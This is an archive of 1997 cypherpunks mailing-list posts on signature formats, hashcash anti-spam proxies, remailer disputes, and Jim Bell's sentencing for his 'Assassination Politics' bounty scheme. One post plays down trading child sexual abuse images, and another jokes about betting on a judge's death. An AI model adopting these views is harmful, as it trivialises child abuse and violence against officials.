	-- Digsig Bob Dobbs <sales@subgenius.com>
		230deadbeef809890slackslackslack0y97
		090hlkh345345kjhlk34h5jh5lk34h5kl3h5
		jh5lkj34h543kjh5kj34h5k3l4j5lj3k4h5h

Some technical notes about format:
1) Are the Signer's Name and the ECC key included in the 
	material that's hashed for signature?  Doing that is valuable,
	but depending on it makes it more difficult if people change addresses.
2) It would be nice if the starting and ending delimiters were different.
	This would let you nest messages without needing >s.
	Can Kong tell a nested opening -- from a closing --digsig ?
	Are --s escaped, or at least <NL>--digsig?
3) How are newlines and whitespace in the message body handled for signatures?
	Canonicalized?  Ignored?  Not worried about?  
	This affects not only reliability of signatures after emailing,
	but also affects signing binary files.
4) I'd guess, since you're using 240-bit ECC and base-64 encoding,
	that the first 40 characters of garble in the signature are the key,
	and the remaining 80 characters are the signature itself?
	If so, is there some easy way to use the 40-char string,
	e.g. type in a copy from the bottom of a business card?
	Or are signed messages the only way to do verification?
	On the other hand, it's rather pleasant that the normal way
	to distribute keys proves that the sender possesses the key.

	Some of the documentation says something about the key being 
	derived from your passphrase and a randomness file hashed together.
	How does this affect multiple keys generated by the same user?
	I assume it means you can't share passphrases between keys.

5) Is the format of the signature freeform, or do the newlines and 
	whitespace have to be in their official locations?  If the latter, 
	what flavor of newline do you use? CRLF? LF? CR? LFCR?

>Key revocation remains a problem, as with any PK system. The key holder
>essentially starts over associating reputation capital with the new key.

Since signed freeform ascii messages from other people can be key certs,
you're not limited to rebuilding reputation capital from scratch.
On the other hand, since certs aren't an automated process,
revocation is tougher than usual to automate as well.

There are three usual reasons for revocation:
1) You've lost all copies of your key (disk crashed, no backups,
	or you just forgot your passphrase.)  So keep backups.
	The keys are short enough that it would be nice if you could
	type in your secret key from paper, but that may depend on
	the randomness file implementation.  And you can get notes from
	your friends stating that you're the same person they 
	vouched for before.
2) Someone else found one of your key backup copies.
	It's easy to send out mail signed by your old key saying 
	"Someone stole my old key.  Don't trust it!  Here's my new key".
	The hard parts are getting people not to trust new messages signed
	by your old key, since key handling isn't automated,
	and getting them to trust the new key you're handing out
	(since it could be the key-thief sending out the new key.)
	Signatures by your friends on your new key can help.
3) Expiring keys every so often to reduce the risk of 2).
	Assuming the name format in signatures is freeform,
	you can indicate key expiration in the signature line...



				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 13 Dec 1997 10:08:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Could a Jim Bell do the same thing?
In-Reply-To: <Pine.GSO.3.95.971212151511.29644T-100000@well.com>
Message-ID: <199712130202.UAA05406@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



A new.com article posted by Declan says:

>       Sometimes, Daufenbach notes, a freshly arrested child
> 	pornographer facing a long sentence will agree to
> 	let his email account "hum" (continue running), with
> 	Customs picking up the traffic. 

Of course most people exchanging such pictures via email are no more child
pornographers than people who read "Penthouse" are photographers of women.
Again, law enforcement manages to build its agenda into the vocabulary
given to the Sheeple to express their views. 

>       A year ago,
> 	Daufenbach assumed the identity behind one such
> 	account. A molester and child pornographer
> 	(Daufenbach declined to reveal the person's name)
> 	began emailing Daufenbach's undercover account and
> 	then switched to real-time online chat, one of the
> 	biggest challenges for any cyberinvestigator. "A lot
> 	of people don't like doing it," says the Customs
> 	agent. "You have to think on your feet."

This is one good reason most bright people who publicly point and laugh at
the government's molester and porn festivities go out of their way not to
engage in communication with children, or private communication with
individuals claiming to share their views.

I prefer to express mine on Usenet, where what I have said is a matter of
public record, and can't be spun by wannabe entrappers for their own ends. 

And aren't these cops pathetic?  I mean, you're sitting on the Net, and
someone who has targeted you because you made fun of the child porn kooks
gets you on IRC and begs you to "call his modem direct, because he's 14,
his parents aren't home, and he has special pictures to send you." 

I mean, what do these doughnut-munching lard-assed buffoons tell their
children they do for a living?  "Yes, Jimmy, Daddy pretends to be a child
on the Internet and offers other grownups pictures of his genitalia." 
Gosh - I bet that makes the kid want to invite Dad to school for career
day. 

>         Molesters often talk graphically about the children
> 	they abuse--and expect the same from their
> 	confidants.

Kind of like the people in alt.parenting.spanking. 

>       "If you get nervous and flustered,"  
>        notes Daufenbach, "you'll blow it." 

And since jackbooted thug Daufenbach will never get a chance to 
"blow it" in real life, he has to engage in the substitution therapy
of finding others who might "blow it."  After all, this is a highly
moral society in which "it" must never be "blown", particularly if 
"it" is attached something that is not legally a person in the eyes
of the Constitution.

BTW - it's the 12th of December.  Wasn't this supposed to be D-day 
for James Dalton Bell?

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 13 Dec 1997 12:12:52 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Jim Bell Sentenced: AP Report
In-Reply-To: <1.5.4.32.19971213034250.006f3030@pop.pipeline.com>
Message-ID: <v03102800b0b7ac43ae4e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:42 PM -0700 12/12/97, John Young wrote:
>>From The Oregonian online: http://www.oregonlive.com/
>
>
>              Bell gets 11 months in prison, 3
>                years supervised release, fine

As he's been jailed since May (the month, not me), and it's rare that full
sentences are served, why wasn't he ordered released?

As expected, the bulk of the comments focus on his "Assassination
Politics," not his mundane, minor white collar crime of faking SS numbers.

Who says Amerikkka has no political prisoners?

He'll do more time than a convicted baby murderer did.

Justice in Amerikkka.


--Tim May

The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 13 Dec 1997 13:07:38 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <199712130059.AAA06343@server.eternity.org>
Message-ID: <v0311072fb0b7bdf3f0df@[207.94.249.114]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:59 PM -0800 12/12/97, Adam Back wrote:
>I am looking at writing some hashcash
> ... Neatly worked out scheme deleted ...

I think there needs to be a story for mailing lists.  It might be
acceptable for the first pass to allow spamming of mailing lists but not of
individuals email addresses.  (Apologies in advance to list moderators.)


-------------------------------------------------------------------------
Bill Frantz       | One party wants to control | Periwinkle -- Consulting
(408)356-8506     | what you do in the bedroom,| 16345 Englewood Ave.
frantz@netcom.com | the other in the boardroom.| Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 13 Dec 1997 03:38:33 +0800
To: mail2news@basement.replay.com
Subject: Re: Another of Gary Burnore's Lies Exposed
In-Reply-To: <19971210220912.2617@dpinc.ml.org>
Message-ID: <199712121926.UAA10480@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



"Sam" <sam-001@dpinc.ml.org> wrote:

> > Three examples:  Speculation about Wotan and MailMasher, Speculation about
> > DataBasix and one of many posts from the anon asshole complaining that
                                             ^^^^^^^^^^^^
> >
> > Here are selected paragraps from each.  The full messages follow:
> 
> [snip]
> 
> I'd rather look at full messages.

Good idea.  Notice Gary's usage of ad hominem argumention to avoid the issues 
on the faulty premise that if you hate the messenger then you can safely ignore 
the message.  To Gary Burnore, his constant use of the perjorative "anonymous 
asshole" is apparently intended in the same manner as "heretic" was in the
Middle Ages or "witch" was in 17th century New England.

> This is something about warez and remailer, and Burchell discussing the
> possible identity of whoever was behind whatever was discussed here.
> Nothing is said regarding the issue here of forging databasix addresses
> through the remailer, who was doing it, and why.
> 
> I happen to recall that this was what this thread is supposed to be about.

The original premise was that since the Mailmasher pseudonym server was
allegedly allowing forgeries, it should be shut down.  McClatchie's problem
was that he mistook Mailmasher for a remailer and sought to prove that it 
allowed forgeries through the pasting of From: headers when, in fact, 
Mailmasher never had this capability.  (Some of the remailers formerly did, 
but that was corrected long before the June incident with Gary Burnore, 
Belinda Bryan, and Jeff Burchell.)  The "evidence" that was posted back then 
in an attempt to implicate Mailmasher in forgery consisted of usenet posts with
truncated Path headers which stopped at the mail-to-news gateway from which
they were posted.  And none of the messages was more recent than 2/97.

Mailmasher was a predecessor to Hotmail and the other web-based e-mail 
providers.  The difference was that Mailmasher didn't require you to identify 
yourself to establish an account, but you could choose a pseudonym
and use that instead.  It never had any capabilities to specify a From:
address.  This the forged messages apparently not only had forged "From:"
lines, but a forged "Message-ID:" as well, to make it look as if it came
from Mailmasher.  The forger, however, apparently chose the wrong site to
implicate.

If you'll reread Jeff's post (the one in the URL that I previously posted),  
you'll get a little insight into Gary's actions and apparent motives for his 
later attacks on Jeff's other server, the Huge Cajones Remailer.  Let me
quote a short excerpt:

-> I still don't know what the hell is going on with DataBasix, Wells Fargo
-> and Gary Burnore, but I suspect that someone used huge.cajones to say
-> something extremely unflattering about Burnore (from what I can tell, 
-> he had it coming).  Burnore then decided that he would make things
-> difficult for me.  First, he wanted the user who had posted something
-> "inflammatory" about him revealed.  When I told him that I couldn't  
-> do that, he carried on about mail logs and identifying the host that
-> a message came from (the usual).  I didn't explain to him that my
-> machine keeps logs, but not anything involving a *@cajones.com
-> address.  He then requested the logs, which I denied (and told him
-> to get his lawyer to send a request...)

The issue was an "unflattering post", not any sort of forgery or other abuse.
The so-called "spam bait" only "conveniently" appeared later when DataBasix 
was in need of more ammo to use to get the remailer shut down:

-> Between the time he first contacted me, and the time I received the
-> letter from Belinda Bryan, is when the baiting of databasix addresses
-> began (slowly, with just a few posts).

Now how would a third party, who was not privy to Gary and Belinda's
private dealings with Jeff be able to exploit that timing by initiating
the spam baiting at just the "right" time?  It was almost as if the abuse 
appeared right on cue, just in time to bolster the case of DataBasix vs. Huge 
Cajones.

And notice that from Jeff's chronology, the demand by Gary Burnore and Belinda
Bryan for Jeff Burchell to turn over his logs to them came BEFORE this
alleged "spam baiting" and was based on the unflattering CONTENT of a post,
not on any alleged "forgery".  None of this can be called speculation.  It's a 
factual, historical account of DataBasix' dealings with Jeff Burchell.

Plain and simple, Gary's demand for Jeff's logs was a blatant attempt at
censorship through intimidation.  IOW, the clear implication was "if you
dare to criticize me, I'll hunt you down and you'll be sorry".

> Earlier, Anonymous wrote: ``Contrary to your accusations, not all of
> Jeff's post was "speculation".''  You took issue with that, in the context
> of your disputed attempt to obtain the remailer's logs.
> 
> Well, in this very sizeable post, speculations do, indeed, comprise only a
> portion of it.  The rest is a detailed narrative of the communications
> between the players involved so no, it was not all just a speculation.
> 
> Furthermore, you are disputing the fact that you wanted to obtain the
> remailer's logs.  I fail to see what facts you have posted which dispute
> Jeff Burchell's version of the story.  I cannot find the portion that 
> supposedly supports your claim that you did not seek to violate the
> anonymity of the remailer.  Burchell accomodated your demands, and put in
> place measures that would prevent the alleged abuse from taking place.
> Yet, you still demanded the logs.

That's precisely my point.  And now he refuses to disclose his motives for
that demand or what he intended to do with the names and addresses contained 
in those logs.  Every time he's asked the question of why he attempted to
violate the privacy of hundreds or perhaps thousands of remailer users, it 
elicits another tantrum that goes, "Lies!  Prove it!  Why are you harassing 
me?  What are your demands?"

> > Note:  I have several more posts like these, if you're interested.
> > This one is a fine example of someone (the anonymous asshole, no doubt)
> > whining about the "content based censorship"
> > because he couldn't spambait us anymore.
> 
> [snip] 
> 
> That's fine, but I do not see why this is relevant.

It's not relevant.  His usage of "anonymous asshole" is apparently generic
for anyone who dares to challenge him and who posts anonymously, and is an
obvious attempt to demonize all such individuals to divert attention from his
own tactics.

The whole "spam bait" issue is obviously a smoke screen, since the alleged 
spam-bait came AFTER the demand for Jeff's logs.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Sat, 13 Dec 1997 12:42:27 +0800
To: cypherpunks@cyberpass.net
Subject: You can take it with you
Message-ID: <199712130431.UAA02248@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain




"Last year, when a major financial columnist suggested
that people should buy stocks and hold them until the
day they died, we figured expectations had hit the
ceiling. We were wrong. Apparently, in a mania of this
magnitude, even the bounds of mortality can be sur-
passed. The Luxemborg-based Prometh Societé is
offering "reincarnation accounts" to people who are not
willing to let death stand in the way of their financial
planning (minimum account size is $30,000). When the
claimant returns in the next life and provides a few key
facts, he can claim the account, which will presumably
have grown to quite a size at the generally-expected
30% per annum compounded."

     The Elliott Wave Theorist -- December 5, 1997





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 13 Dec 1997 03:50:55 +0800
To: remailer-operators@anon.lcs.mit.edu
Subject: Re: Whoever thinks the "word" is censored, post the 'word' fool
Message-ID: <199712121941.UAA12159@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



gburnore+NOspam@netcom.com (Gary L. Burnore) wrote:
     
> :My only guess is that the posting person thinks that Replay censors more
> :than one word, and that giveing the word away would tell Replay which
> :filter to lift.  If I had found something like that, I'd pass the info
> :around privately to a bunch of friends first, and make sure that I was not
> :the only one expereienceing the prob.
> 
> Some have asked him to email it privately as well, seems he's not done that
> either.

I'm curious -- how would you know whether he's done so or not?  I don't 
recall you making that invitation to him.  Do you even accept incoming
e-mail from remailers?

> :Or, he could just be trolling.  :)
>    
> Doubt it. It really sounds like he believes the word is being censored.

Maybe it's time for Alex to join this thread and either say "no, we don't
filter on any words at the Replay remailer", or else "yes, here's a list
of the words we consider to be objectionable, so please omit them from
your posts through the Replay remailer".

I'm half expecting that his posts aren't showing up either because he's
screwed something up in the message to the remailer (like misspelling the
word "Newsgroups" in the header, for example), because the posting
gateway is flaky, or because some Net Nazi has taken it upon himself to
indiscriminately forge cancels to posts he doesn't like.  But some definitive 
word, one way or the other, would go a long way towards clarifying this
situation.  I see no rational reason for covertly blocking posts based on
content.  *IF* he didn't want something posted, then an announcement that
the Replay remailer rejects posts containing certain words or phrases
would make life simpler for all concerned.

And to whoever created the subject line for this message, I'm tempted to
either post the word "fool", or say that it's a lousy "Mr. T" impression. :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 13 Dec 1997 14:14:09 +0800
To: cypherpunks@cyberpass.net
Subject: Columbian squib on Bell sentencing
Message-ID: <3.0.2.32.19971212220205.006c67c8@pop.sirius.com>
MIME-Version: 1.0
Content-Type: text/plain




>From The Columbian's web site at
<http://www.columbian.com/newsroom/topstories.html>:

     'Assassination Politics' 
     author gets 11 months

       TACOMA, Wash. - James Dalton Bell, the Vancouver man who wrote an
Internet essay entitled "Assassination Politics," was sentenced this
morning to 11 months in prison and two to three years of tightly supervised
probation.
       Bell's attorney objected to the probation conditions, which bar Bell
from possessing a firearm or chemicals or entering a federal office without
prior approval. He may not advocate violence or overthrow of the government.
       Bell, 39, has been in custody since May. In July, he pleaded guilty
to obstructing Internal Revenue Service agents and using false Social
Security numbers. Bell also admitted collecting the names and home
addresses of IRS employees; proposing the "Assassination Politics" idea
that targeted federal employees, and planting a stink bomb in the IRS's
Vancouver office in March.

     -- Marcia Wolf, Columbian staff writer
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | Export jobs, not crypto.
http://www.io.com/~gbroiles | http://www.parrhesia.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 13 Dec 1997 11:42:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Jim Bell's Sentencing?
Message-ID: <1.5.4.32.19971213033005.006bdc58@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



No news here about Jim Bell's scheduled sentencing today.

Oddly, there have been no entries in the publically accessible 
electronic version of the court docket since October 24, 
including nothing about the November 21 delay in sentencing 
which we confirmed from another reporting service in Tacoma.

Someone's going to check with the court clerk on Monday.

Anyone in the NW see anything in the papers?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 13 Dec 1997 11:53:14 +0800
To: cypherpunks@toad.com
Subject: Jim Bell Sentenced: AP Report
Message-ID: <1.5.4.32.19971213034250.006f3030@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



>From The Oregonian online: http://www.oregonlive.com/


              Bell gets 11 months in prison, 3
                years supervised release, fine 

                             The Associated Press
                           12/12/97 7:54 PM Eastern

             TACOMA (AP) -- A federal judge Friday imposed an 11-month
             sentence for tax violations on James Dalton Bell, whose 10-part
             Internet essay, "Assassination Politics," proposed apparent
             "bounties" on government officials. 

             Federal prosecutors say he was advocating bounties on public
             officials he considered "miscreants" and "slimeballs." Bell has
said
             he was theorizing, not advocating any killing. 

             The Vancouver, Wash., man pleaded guilty in July to trying to
             impede Internal Revenue Service agents and to using false Social
             Security numbers to hide his assets. 

             After his prison term, U.S. District Judge Franklin Burgess
             ordered Bell to undergo three years of supervised release. He also
             was ordered to pay $1,359 in restitution for damage caused by a
             stink bomb he set off at the IRS's Vancouver office. 

             Bell's essay was cited in the indictment as a means by which he
             sought to intimidate IRS agents, Assistant U.S. Attorney Annmarie
             Levins said. 

             A news release from federal prosecutors says that as part of his
             plea agreement, Bell "admitted advocating a scheme called
             `Assassination Politics' whereby persons would be rewarded with
             `digital cash' through the Internet for killing undesirable
people. 

             "Bell identified government employees, particularly IRS
             employees, as such undesirable people, and argued that the threat
             of `Assassination Politics' would intimidate them from enforcing
             Internal Revenue laws for fear of being assassinated." 

             He also admitted proposing "Assassination Politics" as an
             enforcement mechanism for the anti-government Oregon extremist
             group Multnomah County Common Law Court, which purports to
             try government officials for performance of their duties, the
             release said. 

             Prosecutors and Bell's public defender sought a sentence of 6 to
             12 months as part of a plea bargain. Federal probation officers
             recommended 27 months, citing the "totality" of Bell's behavior. 

             Bell described "Assassination Politics" as a means for ordinary
             citizens to take action against public officials they perceived as
             having violated their rights. 

             "What if they could go to their computers, type in the miscreant's
             name and select a dollar amount. The amount they, themselves,
             would be willing to pay to anyone who `predicts' that
             officeholder's death," he wrote. 

             "That donation would be sent, encrypted and anonymously, to a
             central registry organization and be totaled, with the total amount
             available within seconds to any interested individual." 

             He noted that if one person in 1,000 "was willing to pay $1 to see
             some government slimeball dead, that would be, in effect, a
             $250,000 bounty on his head." 

             In an April raid on the home Bell shared with his elderly parents,
             authorities found the home addresses of about 70 IRS employees,
             as well as three semiautomatic assault rifes, a handgun and
             potentially deadly chemicals. He was arrested in May. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 13 Dec 1997 12:37:41 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Where is the c-p traffic? (fwd)
Message-ID: <199712130448.WAA21121@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Sat, 13 Dec 1997 00:30:30 GMT
> From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
> Subject: Where is the c-p traffic?
> 
> Am I the only one to notice that traffic has dropped from about 100 
> messages/day to only a few?

You are getting *lots* of bounces if you were getting anything like 100
messages per day.

>  Does anyone know what is broken?

At this point either your arithmetic or your memory. Either way, it sounds
like a personal problem.

> Does anyone care?  Is the whole c-p list a giant MITM being run 
> against a very few of us who are the only human participants?

Damn, found out.

> Isn't it odd that many key contributors to the list coincidentally 
> live near nondescript neighborhood houses that bristle with
> antennae and are regularly visited by black helicopters and large 
> unmarked vans?  No, I didn't think so either.  That's probably an 
> unrelated operation.

Just exactly what kind of drugs are you taking? There is a house rule you
*must* bring enough for everyone.

No helicopters, vans, jack-booted thugs, or anything else around here dude.

Don't know about an opinion, a paranoia induced hallucination for sure.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Sat, 13 Dec 1997 12:59:31 +0800
To: nobody@bureau42.ml.org (bureau42 Anonymous Remailer)
Subject: Re: Where is the c-p traffic?
In-Reply-To: <RDvqcZVpjaFFBY1SSH4gwA==@bureau42.ml.org>
Message-ID: <199712130454.WAA21714@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



bureau42 Anonymous Remailer wrote:
> Oh dear!  I just realized that c-p _could_ be subject to an interesting 
> MITM attack:  By subtlely modifiying the text of c-p messages arriving 
> at certain key recipients, the bad guys could then correlate the quoted 
> text in resulting anonymous replies to the list with individuals, and
> could probably also shave a layer or two off the remailer chains 
> through which those messages were sent.  The determination of 

And you obviously have a way to defend against this attack. Inventing
the way to do it is left as an exercise to the readers.


	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sat, 13 Dec 1997 13:19:04 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Jim Bell Sentenced: AP Report
In-Reply-To: <1.5.4.32.19971213034250.006f3030@pop.pipeline.com>
Message-ID: <199712130511.XAA05566@wire.insync.net>
MIME-Version: 1.0
Content-Type: text/plain



> TACOMA (AP) -- A federal judge Friday imposed an 11-month
> sentence for tax violations on James Dalton Bell, whose 10-part
> Internet essay, "Assassination Politics," proposed apparent
> "bounties" on government officials. 

> After his prison term, U.S. District Judge Franklin Burgess
> ordered Bell to undergo three years of supervised release. He also
> was ordered to pay $1,359 in restitution for damage caused by a
> stink bomb he set off at the IRS's Vancouver office. 

Does he get credit for time served?  Where do I contribute my dollar
to the "Bet a Buck Judge Burgess Lives to See 1998" fund? :)

-- 
Eric Michael Cordian 0+
O:.T:.O:. Mathematical Munitions Division
"Do What Thou Wilt Shall Be The Whole Of The Law"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 13 Dec 1997 12:49:46 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <199712130059.AAA06343@server.eternity.org>
Message-ID: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



At 12:59 AM 12/13/97 GMT, Adam Back wrote:
>(Hashcash is a way of proving that the sender has consumed a tunable
>amount of CPU time.  The verification process consumes negligible CPU
>time.  This allows us to require the would be spammer to spend say 20
>seconds per mail, which will slow him down considerably, over his
>current tactics of 1000 long Bcc lists allowing him to hand off
>spamming tasks to mail servers.)

So a remailer, such as Cracker, that might send out an average of 3,000
emails per day would be required to use up 3,000 * 20 secs = 17 hours of
cpu time per day.  Since a portion of these emails are to multiple
recipients, then let's add 1/3 extra hashcash CPU time, or a total of about
22 hours of CPU time per day.

Now since Cracker runs on old, antiquated equipment, easily two or more
years out of date, I think we need to double this figure.  (The Cracker CPU
is actually less than 1/4 of the speed of many up to date desktop
machines.)  So, we would need about 44 hours of CPU time each day.

Of course the Cracker mail system also runs various mail lists for EFGA.
So we will need hashcash for these messages as well.  If I wish to send out
a personal email to each of say 900 nyms, then I will have to generate 900
* 20 seconds, or 5 hours of hashcash time in order to send an individual
message to each nym.  I certainly can setup myself as a privileged user on
the Cracker SMTP port and bypass this requirement, but I'll need the
hashcash for the unknown destination address of final delivery.

Of course, since we might be able to delete the need for hashcash among
people who know each other, we could have Cracker build a database of
people who like to have privacy, and not have to generate the hashcash if
we find you in our files.  ISP's in general could handle the hashcash
generation at the SMTP level by keeping databases of who sends email to
whom.  It is of course far easier to do a single database lookup than to
generate the 20 seconds of hashcash.

I don't know.  I just don't understand the plan fully.  I'll have to think
about it some more.

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alex de Joode <usura@sabotage.org>
Date: Sat, 13 Dec 1997 07:22:46 +0800
To: nobody@REPLAY.COM (Anonymous)
Subject: Re: Whoever thinks the "word" is censored, post the 'word' fool
In-Reply-To: <199712121941.UAA12159@basement.replay.com>
Message-ID: <199712122306.AAA06172@basement.replay.com>
MIME-Version: 1.0
Content-Type: text



[..]
: > :Or, he could just be trolling.  :)
: >    
: > Doubt it. It really sounds like he believes the word is being censored.
: 
: Maybe it's time for Alex to join this thread and either say "no, we don't
: filter on any words at the Replay remailer", or else "yes, here's a list
: of the words we consider to be objectionable, so please omit them from
: your posts through the Replay remailer".

As stated before we do not filter.


-- 
  Alex de Joode | usura@SABOTAGE.ORG | http://www.sabotage.org
	Sabotage Internet: Your Internet Problem Provider.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sat, 13 Dec 1997 12:30:23 +0800
To: cypherpunks@Algebra.COM
Subject: Where is the c-p traffic?
Message-ID: <RDvqcZVpjaFFBY1SSH4gwA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Am I the only one to notice that traffic has dropped from about 100 
messages/day to only a few?  Does anyone know what is broken?
Does anyone care?  Is the whole c-p list a giant MITM being run 
against a very few of us who are the only human participants?

Oh dear!  I just realized that c-p _could_ be subject to an interesting 
MITM attack:  By subtlely modifiying the text of c-p messages arriving 
at certain key recipients, the bad guys could then correlate the quoted 
text in resulting anonymous replies to the list with individuals, and
could probably also shave a layer or two off the remailer chains 
through which those messages were sent.  The determination of 
individual's usage patterns of remailers would also benefit from this, 
and the info would go into a growing database which could then be used 
at some point down the road to nail key people and remove them as 
irritants and agitators.

Isn't it odd that many key contributors to the list coincidentally 
live near nondescript neighborhood houses that bristle with
antennae and are regularly visited by black helicopters and large 
unmarked vans?  No, I didn't think so either.  That's probably an 
unrelated operation.

TrafficMongerII





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 13 Dec 1997 09:10:05 +0800
To: cypherpunks@cyberpass.net
Subject: hashcash spam prevention & firewalls
Message-ID: <199712130059.AAA06343@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




I am looking at writing some hashcash
(http://www.dcs.ex.ac.uk/~aba/hashcash/) based spam prevention
software.  The motivation for writing spam prevention software is that
spam is better combatted with technical methods than legal or
political (we do not want clueless politicians coming in ham-fisted
and requiring "Internet Drivers Licenses" or anti-spam legislation or
anything else, such actions will be hazardous for the future of
remailers, in my opinion).

(Hashcash is a way of proving that the sender has consumed a tunable
amount of CPU time.  The verification process consumes negligible CPU
time.  This allows us to require the would be spammer to spend say 20
seconds per mail, which will slow him down considerably, over his
current tactics of 1000 long Bcc lists allowing him to hand off
spamming tasks to mail servers.)

So what we want is a filter to bounce messages without the required
hashcash postage, we ideally want this to happen at the ISP or
organisational SMTP server end, rather than at the recipients end,
because a) it is simpler for 1 service provider to install software
than 100,000 neophytes, and b) it reduces bandwidth consumption on
dial up users pay per second lines as the spam is killed before they
see it.

The Right Way to do it perhaps is as an SMTP extension, however I
consider this impractical in the short term because as far as I know
there is no SMTP extension plug-in mechanism (other than access to the
source code, and lots of development time) and because there are a
large number of mail servers in use, and it will be expensive in
developer (that's me) time to provide patches for them all
(exarcebated by the fact that in many cases source will not be
available).

So these problems leave us scratching around for other more generic
approaches.  One method is to create a proxy which receives mail on
port 25 (as the SMTP server normally does) filters examining for
correct hashcash postage, and bounces if the postage is missing, and
forwards the mail on to the real SMTP server if the hashcash postage
is valid.  The real SMTP server would then be set to run on another
port... say port 26 which is reserved, and have the mail forwarded to
it at that port.  (You would want to disable non-local access to port
26 either at firewall or with SMTP server configuration if that is
possible).

Alternatively run the real SMTP server on another machine inside the
local network.

A few problems with this approach, firstly it may not be possible to
configure some SMTP server software to run at ports other than 25.  (I
know you can do it with sendmail: OOPort=26 does it.)  (If this is not
possible with a given SMTP server you can still run a proxy by running
the real SMTP server on another machine inside the network).

Secondly the proxy approach prevents some of the SMTP server functions
from operating properly because the process on the other end of the
socket is our hashcash proxy on localhost rather than the remote mail
hub (modern sendmails can be configured to perform reverse name
lookups on IP addresses, call ident (ident sucks anyway IMO), or block
based on IP address or domain, etc.)  Is this kind of thing likely to
be a big problem?

Another approach is to try to hook in a hashcash SMTP proxy filter at
the firewall.  I am not that familiar with firewalls.

Anyone have thoughts on the sorts of filtering you could install at
the firewall level, and how portable this would be based on installed
base of types of firewall?  (ie It is not interesting if you can do
nifty proxy functions with foobar firewall software if it is used by
<1% of sites, and the function is impossible with other firewall
software).

The required filter functionality is something like this in order of
desirability:

Accept the SMTP session.  Use an EHLO extension HASHCASH to say that
this server expects hashcash.  (Extended HELO is a method of
specifying SMTP extensions (I think)).  Accept the headers, and if a
valid hashcash postage is not included, hand off to the real
mailserver a site configurable bounce message.

